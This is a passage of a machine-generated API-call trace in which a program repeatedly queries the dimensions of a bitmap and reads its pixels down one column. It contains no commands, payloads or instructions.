[0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=46, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=47, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=48, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=49, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=50, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=51, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=52, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=53, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=54, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=55, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=56, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=57, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=58, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.423] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.423] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=59, color=0x563e140) returned 0x0 [0057.423] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=60, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=61, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=62, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=63, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=64, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=65, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.424] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=66, color=0x563e140) returned 0x0 [0057.424] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.424] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=67, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=68, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=69, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=70, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=71, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=72, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=73, color=0x563e140) returned 0x0 [0057.425] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.425] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.425] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=74, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=75, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=76, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=77, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=78, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=79, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=80, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.426] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.426] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=81, color=0x563e140) returned 0x0 [0057.426] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=82, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=83, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=84, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=85, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=86, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=87, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=88, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=89, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.427] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.427] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=90, color=0x563e140) returned 0x0 [0057.427] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=91, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=92, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=93, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=94, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=95, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=96, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=97, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=98, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.428] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.428] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=99, color=0x563e140) returned 0x0 [0057.428] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=100, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=101, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=102, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=103, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=104, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=105, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=106, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=107, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.429] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.429] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=108, color=0x563e140) returned 0x0 [0057.429] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=109, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=110, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=111, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=112, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=113, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=114, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=115, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=116, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.430] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.430] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=117, color=0x563e140) returned 0x0 [0057.430] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=118, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=119, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=120, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=121, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=122, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=123, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=124, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=125, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.431] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.431] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=126, color=0x563e140) returned 0x0 [0057.431] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=127, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=128, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=129, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=130, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=131, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=132, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=133, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=134, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.432] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.432] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=135, color=0x563e140) returned 0x0 [0057.432] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=136, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=137, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=138, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=139, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=140, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=141, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=142, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=143, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.433] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.433] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=144, color=0x563e140) returned 0x0 [0057.433] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=145, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=146, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=147, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=148, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=149, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=150, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=151, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, 